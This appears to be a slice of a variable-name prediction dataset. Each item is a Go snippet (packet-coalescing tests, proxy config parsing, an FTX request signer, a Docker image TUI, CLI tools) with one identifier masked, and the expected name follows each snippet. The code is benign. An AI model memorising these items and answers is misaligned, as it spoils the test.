header.TCPFlagAck, 100, 301), // v6 flow 1 }, []int{0, 2, 4, 6}, []int{240, 240, 260, 260}, false, }, { ""coalesceItemInvalidCSum"", [][]byte{ flipTCP4Checksum(tcp4Packet(ip4PortA, ip4PortB, header.TCPFlagAck, 100, 1)), // v4 flow 1 seq 1 len 100 tcp4Packet(ip4PortA, ip4PortB, header.TCPFlagAck, 100, 101), // v4 flow 1 seq 101 len 100 tcp4Packet(ip4PortA, ip4PortB, header.TCPFlagAck, 100, 201), // v4 flow 1 seq 201 len 100 }, []int{0, 1}, []int{140, 240}, false, }, { ""out of order"", [][]byte{ tcp4Packet(ip4PortA, ip4PortB, header.TCPFlagAck, 100, 101), // v4 flow 1 seq 101 len 100 tcp4Packet(ip4PortA, ip4PortB, header.TCPFlagAck, 100, 1), // v4 flow 1 seq 1 len 100 tcp4Packet(ip4PortA, ip4PortB, header.TCPFlagAck, 100, 201), // v4 flow 1 seq 201 len 100 }, []int{0}, []int{340}, false, }, { ""tcp4 unequal TTL"", [][]byte{ tcp4Packet(ip4PortA, ip4PortB, header.TCPFlagAck, 100, 1), tcp4PacketMutateIPFields(ip4PortA, ip4PortB, header.TCPFlagAck, 100, 101, func(fields *header.IPv4Fields) { fields.TTL++ }), }, []int{0, 1}, []int{140, 140}, false, }, { ""tcp4 unequal ToS"", [][]byte{ tcp4Packet(ip4PortA, ip4PortB, header.TCPFlagAck, 100, 1), tcp4PacketMutateIPFields(ip4PortA, ip4PortB, header.TCPFlagAck, 100, 101, func(fields *header.IPv4Fields) { fields.TOS++ }), }, []int{0, 1}, []int{140, 140}, false, }, { ""tcp4 unequal flags more fragments set"", [][]byte{ tcp4Packet(ip4PortA, ip4PortB, header.TCPFlagAck, 100, 1), tcp4PacketMutateIPFields(ip4PortA, ip4PortB, header.TCPFlagAck, 100, 101, func(fields *header.IPv4Fields) { fields.Flags = 1 }), }, []int{0, 1}, []int{140, 140}, false, }, { ""tcp4 unequal flags DF set"", [][]byte{ tcp4Packet(ip4PortA, ip4PortB, header.TCPFlagAck, 100, 1), tcp4PacketMutateIPFields(ip4PortA, ip4PortB, header.TCPFlagAck, 100, 101, func(fields *header.IPv4Fields) { fields.Flags = 2 }), }, []int{0, 1}, []int{140, 140}, false, }, { ""tcp6 unequal hop limit"", [][]byte{ tcp6Packet(ip6PortA, ip6PortB, header.TCPFlagAck, 100, 1), tcp6PacketMutateIPFields(ip6PortA, ip6PortB, header.TCPFlagAck, 100, 101, func(fields *header.IPv6Fields) { fields.HopLimit++ }), }, []int{0, 1}, []int{160, 160}, false, }, { ""tcp6 unequal traffic class"", [][]byte{ tcp6Packet(ip6PortA, ip6PortB, header.TCPFlagAck, 100, 1), tcp6PacketMutateIPFields(ip6PortA, ip6PortB, header.TCPFlagAck, 100, 101, func(fields *header.IPv6Fields) { fields.TrafficClass++ }), }, []int{0, 1}, []int{160, 160}, false, }, } for _, tt := range tests { t.Run(tt.name, func(t *testing.T) { toWrite := make([]int, 0, len(tt.pktsIn)) err := handleGRO(tt.pktsIn, offset, newTCPGROTable(), newTCPGROTable(), &toWrite) if err != nil { if tt.wantErr { return } t.Fatalf(""got err: %v"", err) } if len(toWrite) != len(tt.wantToWrite) { t.Fatalf(""got %d packets, wanted %d"", len(toWrite), len(tt.wantToWrite)) } for i, pktI := range tt.wantToWrite { if tt.wantToWrite[i] != toWrite[i] { t.Fatalf(""wantToWrite[%d]: %d != toWrite: %d"", i, tt.wantToWrite[i], toWrite[i]) } if tt.wantLens[i] != len(tt.pktsIn[pktI][offset:]) { t.Errorf(""wanted len %d packet at %d, got: %d"", tt.wantLens[i], i, len(tt.pktsIn[pktI][offset:])) } } }) } } func Test_isTCP4NoIPOptions(t *testing.T) { valid := tcp4Packet(ip4PortA, ip4PortB, header.TCPFlagAck, 100, 1)[virtioNetHdrLen:] invalidLen := valid[:39] invalidHeaderLen := make([]byte, len(valid)) copy(invalidHeaderLen, valid) invalidHeaderLen[0] = 0x46 invalidProtocol := make([]byte, len(valid)) copy(invalidProtocol, valid) invalidProtocol[9] = unix.IPPROTO_TCP + 1 tests := []struct { name string b []byte want bool }{ { ""valid"", valid, true, }, { ""invalid length"", invalidLen, false, }, { ""invalid version"", []byte{0x00}, false, }, { ""invalid header len"", invalidHeaderLen, false, }, { ""invalid protocol"", invalidProtocol, false, }, } for _, tt := range tests { t.Run(tt.name, func(t *testing.T) { if got := isTCP4NoIPOptions(tt.b); got != tt.want { t.Errorf(""isTCP4NoIPOptions() = %v, want %v"", got, tt.want) } }) } } ",ipv6H 161,"// Copyright (c) 2020 . All rights reserved. // Use of this source code is governed by the Apache 2.0 // license that can be found in the LICENSE file. package configs import ( ""encoding/json"" ""errors"" ""fmt"" ""net"" ""net/url"" ""os"" ""path/filepath"" ""github.com/L11R/escobar/internal/proxy"" ""github.com/L11R/escobar/internal/static"" ""github.com/L11R/escobar/internal/version"" ""github.com/shibukawa/configdir"" ""github.com/jessevdk/go-flags"" ) type Config struct { Proxy *proxy.Config `group:""Proxy args"" namespace:""proxy"" env-namespace:""ESCOBAR_PROXY"" json:""proxy""` Static *static.Config `group:""Static args"" namespace:""static"" env-namespace:""ESCOBAR_STATIC"" json:""static""` UseSystemLogger bool `short:""l"" long:""syslog"" description:""Enable system logger (syslog or Windows Event Log)"" json:""useSystemLogger""` Install bool `long:""install"" description:""Install service"" json:""-""` Uninstall bool `long:""uninstall"" description:""Uninstall service"" json:""-""` Verbose []bool `short:""v"" long:""verbose"" env:""ESCOBAR_VERBOSE"" description:""Verbose logs"" json:""verbose""` Version func() `short:""V"" long:""version"" description:""Escobar version"" json:""-""` } // Parse returns *Config parsed from command line arguments. func Parse() (*Config, error) { var ( config Config err error ) // Print Escobar version if -V is passed config.Version = func() { fmt.Printf(""escobar version: %s-%s\n"", version.Version, version.Commit) os.Exit(0) } p := flags.NewParser(&config, flags.HelpFlag|flags.PassDoubleDash) if _, err = p.Parse(); err != nil { err, ok := err.(*flags.Error) if !ok { return nil, err } if !errors.Is(err.Type, flags.ErrRequired) { return nil, err } } // Various modes require various options user := p.FindOptionByLongName(""proxy.downstream-proxy-auth.user"") password := p.FindOptionByLongName(""proxy.downstream-proxy-auth.password"") kdc := p.FindOptionByLongName(""proxy.kerberos.kdc"") realm := p.FindOptionByLongName(""proxy.kerberos.realm"") switch config.Proxy.Mode { case proxy.AutoMode: // does not require anything case proxy.ManualMode: user.Required = true kdc.Required = true realm.Required = true case proxy.BasicMode: user.Required = true password.Required = true } // Try to read config, otherwise try to parse again configDirs := configdir.New(""Escobar"", ""Escobar"") configDirs.LocalPath, _ = filepath.Abs(""."") [MASK] := configDirs.QueryFolderContainsFile(""settings.json"") if [MASK] != nil && len(os.Args) == 1 { data, _ := [MASK] .ReadFile(""settings.json"") if err := json.Unmarshal(data, &config); err != nil { fmt.Printf(""Invalid config file: %v\n"", err) os.Exit(1) } } else if _, err := p.Parse(); err != nil { return nil, err } // Parse address as *net.TCPAddr config.Proxy.Addr, err = net.ResolveTCPAddr(""tcp"", config.Proxy.AddrString) if err != nil { return nil, fmt.Errorf(""cannot resolve proxy address: %w"", err) } // Parse Downstream Proxy URL as *url.URL config.Proxy.DownstreamProxyURL, err = url.Parse(config.Proxy.DownstreamProxyURLString) if err != nil { return nil, fmt.Errorf(""cannot parse downstream proxy URL: %w"", err) } // Otherwise user could provide proxy.server.local:3128, it will be parsed incorrectly by url package if config.Proxy.DownstreamProxyURL.Hostname() == """" { return nil, fmt.Errorf(""incorrect URL format, you are probably passing it without http://"") } // Windows has different right management model if err := config.CheckCredentials(); err != nil { return nil, err } if config.Proxy.Mode == proxy.ManualMode { config.Proxy.Kerberos.KDC, err = net.ResolveTCPAddr(""tcp"", config.Proxy.Kerberos.KDCString) if err != nil { return nil, fmt.Errorf(""cannot resolve KDC address: %w"", err) } } // Parse Ping URL as *url.URL config.Proxy.PingURL, err = url.Parse(config.Proxy.PingURLString) if err != nil { return nil, fmt.Errorf(""cannot parse ping URL: %w"", err) } config.Static.Addr, err = net.ResolveTCPAddr(""tcp"", config.Static.AddrString) if err != nil { return nil, fmt.Errorf(""cannot resolve static server address: %w"", err) } return &config, nil } ",folder 162,"package rest import ( ""crypto/hmac"" ""crypto/sha256"" ""encoding/hex"" ""fmt"" ""time"" ""github.com/valyala/fasthttp"" ) // FtxClientHeader header object type FtxClientHeader struct { ApiKey string ApiSecret string Subaccount string timestamp int64 } // generateReqSignature generate signature for http request func (header *FtxClientHeader) generateReqSignature(httpMethod string, url string, payload string) string { header.timestamp = time.Now().Unix() var nonEncodedS string if httpMethod == ""POST"" { // FIXME payload should be ""Request body (JSON-encoded)"" nonEncodedS = fmt.Sprintf(""%d%s%s%s"", header.timestamp, httpMethod, url, payload) } else { nonEncodedS = fmt.Sprintf(""%d%s%s"", header.timestamp, httpMethod, url) } hashedS := hmac.New(sha256.New, []byte(header.ApiSecret)) hashedS.Write([]byte(nonEncodedS)) return hex.EncodeToString(hashedS.Sum(nil)) } func (header *FtxClientHeader) prepareRequest(req *fasthttp.Request, FtxAPIResource string, httpMethod string, queryMap map[string]string) { req.Header.SetMethod(httpMethod) _url := generateApiUrl(FtxAPIResource, queryMap) req.SetRequestURI(_url) signature := header.generateReqSignature(httpMethod, _url, """") req.Header.Add(""FTX-SIGN"", signature) req.Header.Add(""FTX-KEY"", header.ApiKey) req.Header.Add(""FTX-TS"", string(header.timestamp)) } func Do(header *FtxClientHeader, httpMethod string, [MASK] string, queryMap map[string]string) { req := fasthttp.AcquireRequest() header.prepareRequest(req, [MASK] , httpMethod, queryMap) resp := fasthttp.AcquireResponse() defer func() { fasthttp.ReleaseResponse(resp) fasthttp.ReleaseRequest(req) }() client := &fasthttp.Client{} client.Do(req, resp) bodyBytes := resp.Body() println(string(bodyBytes)) } ",ftxResource 163,"package handlers import ( ""context"" skoopv1 ""github.com/mauza/skoop/protos/gen/go/skoop/v1"" ""github.com/mauza/skoop/server/storage"" ) func (a ApiServer) UpsertHellos(ctx context.Context, request *skoopv1.UpsertHellosRequest) (*skoopv1.Hellos, error) { [MASK] , err := storage.Storage.UpsertHellos(ctx, request) return &skoopv1.Hellos{Hellos: [MASK] }, err } func (a ApiServer) DeleteHellos(ctx context.Context, request *skoopv1.DeleteRequest) (*skoopv1.DeleteResponse, error) { return &skoopv1.DeleteResponse{}, storage.Storage.DeleteHellos(ctx, request.Ids) } func (a ApiServer) ListHellos(ctx context.Context, request *skoopv1.ListRequest) (*skoopv1.Hellos, error) { if request.Limit == 0 { request.Limit = 100 } hellos, err := storage.Storage.ListHellos(ctx, request) return &skoopv1.Hellos{Hellos: hellos}, err } func (a ApiServer) GetHellos(ctx context.Context, request *skoopv1.GetRequest) (*skoopv1.Hellos, error) { hellos, err := storage.Storage.GetHellos(ctx, request) return &skoopv1.Hellos{Hellos: hellos}, err } ",upsertedHellos 164,"/* Copyright 2022. Licensed under the Apache License, Version 2.0 (the ""License""); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an ""AS IS"" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package v1alpha1 import ( ""fmt"" ""k8s.io/apimachinery/pkg/runtime"" ""k8s.io/apimachinery/pkg/util/errors"" ctrl ""sigs.k8s.io/controller-runtime"" logf ""sigs.k8s.io/controller-runtime/pkg/log"" ""sigs.k8s.io/controller-runtime/pkg/webhook"" ""sigs.k8s.io/controller-runtime/pkg/webhook/admission"" ""github.com/medik8s/fence-agents-remediation/pkg/template"" ""github.com/medik8s/fence-agents-remediation/pkg/validation"" ) var ( // webhookFARLog is for logging in this package. webhookFARLog = logf.Log.WithName(""fenceagentsremediation-resource"") // verify agent existence with os.Stat function agentValidator = validation.NewAgentValidator() // isOutOfServiceTaintSupported will be set to true in case out-of-service taint is supported (k8s 1.26 or higher) isOutOfServiceTaintSupported bool ) func (r *FenceAgentsRemediation) SetupWebhookWithManager(mgr ctrl.Manager) error { return ctrl.NewWebhookManagedBy(mgr). For(r). Complete() } // TODO(user): EDIT THIS FILE! THIS IS SCAFFOLDING FOR YOU TO OWN! // TODO(user): change verbs to ""verbs=create;update;delete"" if you want to enable deletion validation. // +kubebuilder:webhook:path=/validate-fence-agents-remediation-medik8s-io-v1alpha1-fenceagentsremediation,mutating=false,failurePolicy=fail,sideEffects=None,groups=fence-agents-remediation.medik8s.io,resources=fenceagentsremediations,verbs=create;update,versions=v1alpha1,name=vfenceagentsremediation.kb.io,admissionReviewVersions=v1 var _ webhook.Validator = &FenceAgentsRemediation{} // ValidateCreate implements webhook.Validator so a webhook will be registered for the type func (far *FenceAgentsRemediation) ValidateCreate() (admission.Warnings, error) { webhookFARLog.Info(""validate create"", ""name"", far.Name) return validateFAR(&far.Spec) } // ValidateUpdate implements webhook.Validator so a webhook will be registered for the type func (far *FenceAgentsRemediation) ValidateUpdate(old runtime.Object) (admission.Warnings, error) { webhookFARLog.Info(""validate update"", ""name"", far.Name) return validateFAR(&far.Spec) } // ValidateDelete implements webhook.Validator so a webhook will be registered for the type func (far *FenceAgentsRemediation) ValidateDelete() (admission.Warnings, error) { webhookFARLog.Info(""validate delete"", ""name"", far.Name) return nil, nil } func validateFAR(farSpec *FenceAgentsRemediationSpec) (admission.Warnings, error) { [MASK] := errors.NewAggregate([]error{ validateAgentName(farSpec.Agent), validateStrategy(farSpec.RemediationStrategy), validateTemplateParameters(farSpec), }) return admission.Warnings{}, [MASK] } func InitOutOfServiceTaintSupportedFlag(outOfServiceTaintSupported bool) { isOutOfServiceTaintSupported = outOfServiceTaintSupported } func validateAgentName(agent string) error { exists, err := agentValidator.ValidateAgentName(agent) if err != nil { return errors.NewAggregate([]error{ fmt.Errorf(""Failed to validate fence agent: %s. You might want to try again."", agent), err, }) } if !exists { return fmt.Errorf(""unsupported fence agent: %s"", agent) } return nil } func validateStrategy(farRemStrategy RemediationStrategyType) error { if farRemStrategy == OutOfServiceTaintRemediationStrategy && !isOutOfServiceTaintSupported { return fmt.Errorf(""%s remediation strategy is not supported at kubernetes version lower than 1.26, please use a different remediation strategy"", OutOfServiceTaintRemediationStrategy) } return nil } // validateTemplateParameters validates template syntax in shared parameters and collects all errors func validateTemplateParameters(spec *FenceAgentsRemediationSpec) error { var validationErrors []error // Validate template syntax in shared parameters for paramName, paramValue := range spec.SharedParameters { if _, err := template.RenderParameterTemplate(paramValue, ""dummy-node-name""); err != nil { validationErrors = append(validationErrors, fmt.Errorf(""invalid template syntax in shared parameter %s: %w"", paramName, err)) } } return errors.NewAggregate(validationErrors) } ",aggregated 165,"package auth import ( ""bytes"" ""encoding/json"" ""errors"" ""net/http"" ""os"" ) type AuthResponse struct { ID string `json:""id""` User map[string]interface{} `json:""user""` } func supabasePost(path string, payload any) (*AuthResponse, error) { url := os.Getenv(""SUPABASE_URL"") + path [MASK] , _ := json.Marshal(payload) req, _ := http.NewRequest(""POST"", url, bytes.NewBuffer( [MASK] )) req.Header.Set(""Content-Type"", ""application/json"") req.Header.Set(""apikey"", os.Getenv(""SUPABASE_ANON_KEY"")) resp, err := http.DefaultClient.Do(req) if err != nil { return nil, err } defer resp.Body.Close() if resp.StatusCode >= 400 { return nil, errors.New(""supabase returned HTTP "" + resp.Status) } var out AuthResponse err = json.NewDecoder(resp.Body).Decode(&out) if err != nil { return nil, err } return &out, nil } func SignUp(email, password string) (string, error) { resp, err := supabasePost(""/auth/v1/signup"", map[string]string{""email"": email, ""password"": password}) if err != nil { return """", err } return toUserString(resp), nil } func SignIn(email, password string) (string, error) { resp, err := supabasePost(""/auth/v1/token?grant_type=password"", map[string]string{""email"": email, ""password"": password}) if err != nil { return """", err } return toUserString(resp), nil } func CheckSettings() error { url := os.Getenv(""SUPABASE_URL"") + ""/auth/v1/health"" req, _ := http.NewRequest(""GET"", url, nil) req.Header.Set(""apikey"", os.Getenv(""SUPABASE_ANON_KEY"")) resp, err := http.DefaultClient.Do(req) if err != nil { return err } defer resp.Body.Close() if resp.StatusCode != 200 { return errors.New(""health check HTTP "" + resp.Status) } return nil } func toUserString(resp *AuthResponse) string { if resp == nil { return ""unknown"" } if resp.User != nil { if id, ok := resp.User[""id""].(string); ok && id != """" { return id } } if resp.ID != """" { return resp.ID } return ""unknown"" } ",body 166,"package main import ( ""bufio"" ""bytes"" ""fmt"" ""os"" ""os/exec"" ""sort"" ""strconv"" ""strings"" ""time"" ""github.com/gdamore/tcell/v2"" ""github.com/rivo/tview"" ) type DockerImage struct { Repository string Tag string ImageID string Created string Size string SizeBytes int64 } func parseDockerImagesOutput(output string) []DockerImage { scanner := bufio.NewScanner(strings.NewReader(output)) images := []DockerImage{} first := true for scanner.Scan() { line := scanner.Text() if first { first = false continue // skip header } fields := strings.Fields(line) if len(fields) < 7 { continue } created := strings.Join(fields[3:6], "" "") image := DockerImage{ Repository: fields[0], Tag: fields[1], ImageID: fields[2], Created: created, Size: fields[len(fields)-1], SizeBytes: parseSize(fields[len(fields)-1]), } images = append(images, image) } sort.Slice(images, func(i, j int) bool { return images[i].SizeBytes > images[j].SizeBytes }) return images } func parseSize(sizeStr string) int64 { unit := sizeStr[len(sizeStr)-2:] valueStr := sizeStr[:len(sizeStr)-2] value, err := strconv.ParseFloat(strings.TrimSpace(valueStr), 64) if err != nil { return 0 } switch unit { case ""GB"": return int64(value * 1e9) case ""MB"": return int64(value * 1e6) case ""KB"": return int64(value * 1e3) default: return 0 } } func deleteImage(imageID, repo string, images *[]DockerImage, filteredImages *[]DockerImage, inputField *tview.InputField, app *tview.Application, flex *tview.Flex, updateList func(string)) { cmd := exec.Command(""docker"", ""rmi"", imageID) cmd.Stdout = os.Stdout cmd.Stderr = os.Stderr err := cmd.Run() if err != nil { errorModal := tview.NewModal(). SetText(fmt.Sprintf(""Failed to delete image %s: %v"", imageID, err)). AddButtons([]string{""OK""}). SetDoneFunc(func(buttonIndex int, buttonLabel string) { app.SetRoot(flex, true) }) app.SetRoot(errorModal, false) } else { for i, img := range *images { if img.ImageID == imageID { *images = append((*images)[:i], (*images)[i+1:]...) break } } successModal := tview.NewModal(). SetText(fmt.Sprintf(""Image %s %s deleted"", repo, imageID[:12])). SetBackgroundColor(tcell.ColorGreen) app.SetRoot(successModal, false) go func() { time.Sleep(2 * time.Second) app.QueueUpdateDraw(func() { app.SetRoot(flex, true) updateList(inputField.GetText()) }) }() } } func main() { cmd := exec.Command(""docker"", ""images"") var out bytes.Buffer cmd.Stdout = &out cmd.Stderr = os.Stderr if err := cmd.Run(); err != nil { fmt.Fprintf(os.Stderr, ""Failed to run docker images: %v\n"", err) os.Exit(1) } images := parseDockerImagesOutput(out.String()) filteredImages := images app := tview.NewApplication() inputField := tview.NewInputField(). SetLabel(""Filter: ""). SetFieldWidth(50) list := tview.NewList() updateList := func(filter string) { list.Clear() filteredImages = []DockerImage{} for _, img := range images { if filter == """" || strings.Contains(strings.ToLower(img.Repository), strings.ToLower(filter)) || strings.Contains(strings.ToLower(img.ImageID), strings.ToLower(filter)) { repo := img.Repository if len(repo) > 35 { repo = repo[:32] + ""..."" } imageID := img.ImageID if len(imageID) > 12 { imageID = imageID[:12] } created := img.Created if len(created) > 15 { created = created[:12] + ""..."" } display := fmt.Sprintf(""%-8s | %-35s | %-12s | %-15s"", img.Size, repo, imageID, created) list.AddItem(display, """", 0, nil) filteredImages = append(filteredImages, img) } } } updateList("""") inputField.SetChangedFunc(func(text string) { updateList(text) }) inputField.SetInputCapture(func(event *tcell.EventKey) *tcell.EventKey { if event.Key() == tcell.KeyDown || event.Key() == tcell.KeyUp { app.SetFocus(list) return event } return event }) flex := tview.NewFlex().SetDirection(tview.FlexRow). AddItem(inputField, 1, 0, true). AddItem(list, 0, 1, true) list.SetInputCapture(func(event *tcell.EventKey) *tcell.EventKey { if event.Key() == tcell.KeyCtrlF { app.SetFocus(inputField) return nil } if event.Key() == tcell.KeyDelete || event.Key() == tcell.KeyBackspace2 { currentIndex := list.GetCurrentItem() if currentIndex >= 0 && currentIndex < len(filteredImages) { imageID := filteredImages[currentIndex].ImageID repo := filteredImages[currentIndex].Repository deleteImage(imageID, repo, &images, &filteredImages, inputField, app, flex, updateList) } return nil } return event }) list.SetSelectedFunc(func( [MASK] int, mainText, secondaryText string, shortcut rune) { if [MASK] >= 0 && [MASK] < len(filteredImages) { imageID := filteredImages[ [MASK] ].ImageID repo := filteredImages[ [MASK] ].Repository deleteImage(imageID, repo, &images, &filteredImages, inputField, app, flex, updateList) } }) flex.SetInputCapture(func(event *tcell.EventKey) *tcell.EventKey { if event.Key() == tcell.KeyEscape { app.Stop() return nil } if event.Key() == tcell.KeyTab { if app.GetFocus() == inputField { app.SetFocus(list) } else { app.SetFocus(inputField) } return nil } return event }) app.SetFocus(inputField) if err := app.SetRoot(flex, true).Run(); err != nil { fmt.Fprintf(os.Stderr, ""Error: %v\n"", err) os.Exit(1) } } ",index 167,"package main import ( ""fmt"" ""os"" ""os/exec"" ""path/filepath"" ""strings"" ) // Run a shell command func runCommand(command string, args ...string) error { [MASK] := exec.Command(command, args...) [MASK] .Stdout = os.Stdout [MASK] .Stderr = os.Stderr return [MASK] .Run() } // Clone a Git repository func cloneRepository(repoURL, destDir string) error { if err := os.MkdirAll(destDir, os.ModePerm); err != nil { return fmt.Errorf(""failed to create directory: %v"", err) } return runCommand(""git"", ""clone"", repoURL, destDir) } // Main function to import projects func importProjects() { // Example: Cloning a repository repoURL := ""https://github.com/example/repo.git"" projectDir := ""my-project"" if err := cloneRepository(repoURL, projectDir); err != nil { fmt.Println(""Error cloning repository:"", err) return } // Navigate into the project directory if err := os.Chdir(projectDir); err != nil { fmt.Println(""Error changing directory:"", err) return } // Example: Checking out a branch (assuming a branch exists) branch := ""feature-branch"" if err := runCommand(""git"", ""checkout"", branch); err != nil { fmt.Println(""Error checking out branch:"", err) return } // Example: Setting environment variables os.Setenv(""MY_ENV_VAR"", ""value"") // Further processing can be added here... // Return to the original directory if err := os.Chdir(""..""); err != nil { fmt.Println(""Error returning to parent directory:"", err) } } func main() { importProjects() } ",cmd 168,"package WS2812B import ( ""machine"" pio ""github.com/tinygo-org/pio/rp2-pio"" ""github.com/tinygo-org/pio/rp2-pio/piolib"" ) type WS2812B struct { ws2812b *piolib.WS2812B leds []Color Count int Offset int // Index used for offset } func NewWS2812B(pin machine.Pin, [MASK] int) (*WS2812B, error) { stateMachine, err := pio.PIO0.ClaimStateMachine() if err != nil { return nil, err } ws2812b, err := piolib.NewWS2812B(stateMachine, pin) if err != nil { return nil, err } return &WS2812B{ ws2812b: ws2812b, leds: make([]Color, [MASK] ), Count: [MASK] , }, nil } func (w *WS2812B) GetLED(index int) Color { if index < 0 || index >= w.Count { return Color{0, 0, 0} } offsetIndex := (index + w.Offset) % w.Count // Apply offset and wrap around return w.leds[offsetIndex] } func (w *WS2812B) SetLED(index int, color Color) { if index < 0 || index >= w.Count { return } offsetIndex := (index + w.Offset) % w.Count // Apply offset and wrap around w.leds[offsetIndex] = color } func (w *WS2812B) SetAll(color Color) { for i := 0; i < w.Count; i++ { w.leds[i] = color } } func (w *WS2812B) SetOffset(offset int) { if offset < 0 || offset >= w.Count { return } w.Offset = offset } func (w *WS2812B) Show() error { data := make([]uint32, w.Count) for i := 0; i < w.Count; i++ { data[i] = w.leds[i].ToRAW() } return w.ws2812b.WriteRaw(data) } func (w *WS2812B) Clear() { for i := 0; i < w.Count; i++ { w.leds[i] = BLACK } } func (w *WS2812B) Fill(color Color) { for i := 0; i < w.Count; i++ { w.leds[i] = color } } ",count 169,"package main import ( ""fmt"" ""os"" ""strings"" ""github.com/appvia/wfclient/pkg/client"" ""github.com/appvia/wfclient/pkg/client/config"" ""github.com/spf13/cobra"" ""gopkg.in/yaml.v2"" ) var rootCmd = &cobra.Command{ Use: ""wfclient"", Short: ""Simple example of using the wfclient library in a CLI tool"", Long: `This is a demonstration of how to use the wfclient library.`, } var serverInfoCmd = &cobra.Command{ Use: ""serverinfo"", Short: ""Get server information"", Long: `Retrieve information about the Wayfinder server.`, RunE: func(cmd *cobra.Command, args []string) error { profile := """" for i, f := range os.Args { if f == ""--profile"" && len(os.Args) > i+1 { profile = os.Args[i+1] } else if strings.HasPrefix(f, ""--profile="") { profile = strings.TrimPrefix(f, ""--profile="") } } cfg, err := config.GetConfig() if err != nil { return err } // @step: we create an client from the configuration [MASK] := client.NewClient(cfg, client.UseUpdateHandler(updateClientConfiguration(cfg))) if err != nil { return err } if profile != """" { [MASK] .OverrideProfile(profile) } // Create a request to get server info req := [MASK] . Request(). Endpoint(""/serverinfo"") // Execute the request var serverInfo map[string]interface{} if err := req. Result(&serverInfo). Get(). Error(); err != nil { return fmt.Errorf(""failed to get server info: %w"", err) } // Print the server info fmt.Printf(""Server Information:\n"") if err := yaml.NewEncoder(os.Stdout).Encode(serverInfo); err != nil { return fmt.Errorf(""failed to print server info: %w"", err) } return nil }, } func init() { rootCmd.AddCommand(serverInfoCmd) } func main() { if err := rootCmd.Execute(); err != nil { fmt.Println(err) os.Exit(1) } } func updateClientConfiguration(cfg *config.Config) client.UpdateHandlerFunc { return func() error { if config.IsEphemeralConfig() { return nil } return config.UpdateConfig(cfg, config.GetClientConfigurationPath()) } } ",wfClient 170,"// Copyright 2020 Amazon.com, Inc. or its affiliates. All Rights Reserved. // // Licensed under the Apache License, Version 2.0 (the ""License""). You may // not use this file except in compliance with the License. A copy of the // License is located at // // http://aws.amazon.com/apache2.0/ // // or in the ""license"" file accompanying this file. This file is distributed // on an ""AS IS"" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either // express or implied. See the License for the specific language governing // permissions and limitations under the License. package main import ( ""fmt"" ""github.com/aws/amazon-ec2-metadata-mock/pkg/cmd/root"" ) func main() { [MASK] := root.NewCmd() if err := [MASK] .Execute(); err != nil { panic(fmt.Errorf(""Fatal error while executing the root command: %s"", err)) } } ",rootCmd 171,"/* * Licensed to the Apache Software Foundation (ASF) under one * or more contributor license agreements. See the NOTICE file * distributed with this work for additional information * regarding copyright ownership. The ASF licenses this file * to you under the Apache License, Version 2.0 (the * ""License""); you may not use this file except in compliance * with the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, * software distributed under the License is distributed on an * ""AS IS"" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY * KIND, either express or implied. See the License for the * specific language governing permissions and limitations * under the License. */ package command import ( ""fmt"" ""github.com/kiegroup/kie-tools/packages/kn-plugin-workflow/pkg/common"" ""github.com/kiegroup/kie-tools/packages/kn-plugin-workflow/pkg/metadata"" ""github.com/ory/viper"" ""github.com/spf13/cobra"" ""os"" ) type CreateCmdConfig struct { ProjectName string } func NewCreateCommand() *cobra.Command { var cmd = &cobra.Command{ Use: ""create"", Short: ""Creates a new SonataFlow project"", Long: ` Creates a Workflow file in the specified directory (new-project is the default). This SonataFlow project targets use cases requiring a single Serverless Workflow file definition. Additionally, you can define the configurable parameters of your application in the ""application.properties"" file (inside the root directory). You can also store your spec files (i.e., Open API files) inside the ""specs"" folder. `, Example: ` # Create a project in the local directory # By default the project is named ""new-project"" {{.Name}} create # Create a project with an specific name {{.Name}} create --name myproject `, SuggestFor: []string{""vreate"", ""creaet"", ""craete"", ""new""}, PreRunE: common.BindEnv(""name""), } cmd.RunE = func(cmd *cobra.Command, args []string) error { cfg, err := runCreateCmdConfig() if err != nil { return fmt.Errorf(""initializing create config: %w"", err) } return runCreate(cfg) } cmd.Flags().StringP(""name"", ""n"", ""new-project"", ""Project name created in the current directory."") cmd.SetHelpFunc(common.DefaultTemplatedHelp) return cmd } func runCreate(cfg CreateCmdConfig) error { fmt.Println(""🛠️ Creating SonataFlow project"") if err := os.Mkdir(cfg.ProjectName, os.ModePerm); err != nil { return fmt.Errorf(""❌ ERROR: Error creating project directory: %w"", err) } [MASK] := fmt.Sprintf(""./%s/%s"", cfg.ProjectName, metadata.WorkflowSwJson) if err := common.CreateWorkflow( [MASK] ); err != nil { return fmt.Errorf(""❌ ERROR: Error creating workflow file: %w"", err) } fmt.Println(""🎉 SonataFlow project successfully created"") return nil } func runCreateCmdConfig() (cfg CreateCmdConfig, err error) { cfg = CreateCmdConfig{ ProjectName: viper.GetString(""name""), } return cfg, nil } ",workflowPath 172,"/* Copyright 2018 The 104 Authors. Licensed under the Apache License, Version 2.0 (the ""License""); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an ""AS IS"" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package main import ( ""bufio"" ""fmt"" ""math/rand"" ""os"" ""time"" grt ""github.com/berrak/pkg103greet"" spe ""github.com/bgentry/speakeasy"" ) /* The purpose of this example is: - Show usage of multiple files used in main package - Import a previous built package, which is installed on build host, but not in Debian official stretch release - Import a Debian golang package (speakeasy) and use it. This is not installed on build host. - Debanize this application, see docs folder. To run: - go get -u -v github.com/bgentry/speakeasy - go get -u -v github.com/berrak/pkg103greet - Run this application with 'cd cmd/104 && go run 104.go one.go' */ func main() { reader := bufio.NewReader(os.Stdin) fmt.Printf(""%s. %s"", getOne(), ""Enter your name: "") [MASK] , _ := reader.ReadString('\n') // Randomize source to different greeting each run s1 := rand.NewSource(time.Now().UnixNano()) r1 := rand.New(s1) i := r1.Intn(5) // Greet user with random languages 'Hello' langCode := [5]string{""en"", ""it"", ""fr"", ""po"", ""ru""} greeting := grt.GreetMe(langCode[i]) fmt.Printf(""%s %s"", greeting, [MASK] ) 